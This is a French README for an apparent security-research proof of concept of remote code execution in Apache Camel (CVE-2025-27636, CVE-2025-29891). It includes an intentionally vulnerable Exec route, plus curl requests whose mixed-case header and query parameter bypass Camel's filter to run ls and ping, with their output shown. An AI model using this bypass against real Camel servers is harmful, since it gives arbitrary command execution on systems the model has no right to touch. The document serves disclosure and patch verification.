
Preuve de concept démontrant l'exécution de code à distance dans Apache Camel en exploitant les contournements du filtrage des en-têtes et des paramètres (CVE-2025-27636, CVE-2025-29891) via le composant Exec.
CVE-2025–27636 et CVE-2025-29891 sont des vulnérabilités dans Apache Camel qui affectent les versions : 4.10.0-4.10.1, 4.8.0-4.8.4, 3.10.0-3.22.3. L'exploitation de ces vulnérabilités peut permettre à des attaquants d'exécuter des méthodes internes de Camel.
Voici un exemple d'application vulnérable qui utilise le composant Camel Exec, qui peut être exploité pour obtenir une exécution de code à distance (RCE). D'autres composants Camel pourraient être exploités de la même manière.
mvn clean package
mvn exec:java -Dexec.mainClass=camel.vulnerable.VulnerableCamel
L'application expose un point de terminaison HTTP destiné à exécuter la commande « whoami » et à renvoyer le résultat au client. Le composant Camel « Exec » est configuré pour exécuter la commande, qui est définie statiquement dans le code.
// recieve request from client and pass it to the "Exec" camel component
from("jetty:http://0.0.0.0:80/vulnerable")
.log("Received request from client")
// define a static command. This can be overwritten using the "CamelExecCommandExecutable" header
.to("exec:whoami")
.convertBodyTo(String.class)
.log("Command Output: ${body}");
Bien que la commande soit statique, nous pouvons la remplacer en transmettant l'en-tête CamelExecCommandExecutable, qui (comme indiqué dans la documentation) remplace l'URI statique. Apache Camel est censé filtrer ces en-têtes, mais en raison d'une gestion incorrecte de la casse, la transmission de l'en-tête « CAmelExecCommandExecutable » contourne le filtre.
L'exécution de la commande suivante remplacera la commande statique « whoami » et exécutera plutôt une commande arbitraire :
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ls"
pom.xml
src
target
Nous pouvons également passer des arguments en spécifiant l'en-tête CamelExecCommandArgs :
$ curl "http://localhost:80/vulnerable" --header "CAmelExecCommandExecutable: ping" --header "CAmelExecCommandArgs: -c 2 8.8.8.8"
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=98.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=46.4 ms
--- 8.8.8.8 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1012ms
Si nous transmettons l'en-tête « normal », nous constaterons que l'exploitation échoue et que la commande statique « whoami » s'exécute normalement :
$ curl "http://localhost:80/vulnerable" --header "CamelExecCommandExecutable: ls"
kali
À l'origine, on pensait que les en-têtes de requête étaient le seul vecteur d'exploitation. Cependant, l'équipe de recherche en sécurité d'Akamai a signalé un vecteur supplémentaire à l'équipe de développement d'Apache Camel, ce qui a conduit à l'attribution de CVE-2025-29891. Ce problème provient de la même faille de filtrage que CVE-2025-27636 et permet d'invoquer des méthodes internes via les paramètres de requête.
Dans l'exemple suivant, nous pouvons voir que la spécification du paramètre de requête « CAmelExecCommandExecutable » conduit à l'exécution d'une commande arbitraire — tout comme le vecteur d'en-tête d'origine :
$ curl "http://localhost:80/vulnerable?CAmelExecCommandExecutable=ls"
pom.xml
src
target
Le correctif initial mis en œuvre pour corriger CVE-2025-27636 résout également ce problème. Les applications qui utilisent des versions à jour d'Apache Camel ne sont donc pas vulnérables à ce vecteur d'exploitation.
Copyright 2025 Akamai Technologies Inc.
Sous licence Apache, version 2.0 (la « Licence ») ; vous ne pouvez utiliser ce fichier que conformément à la Licence. Vous pouvez obtenir une copie de la Licence à l'adresse suivante :
http://www.apache.org/licenses/LICENSE-2.0
Sauf si la loi applicable l'exige ou si un accord écrit a été conclu, le logiciel distribué sous la Licence est distribué « EN L'ÉTAT », SANS GARANTIES NI CONDITIONS D'AUCUNE SORTE, expresses ou implicites. Voir la Licence pour connaître les autorisations et les limitations spécifiques régissant l'utilisation du logiciel.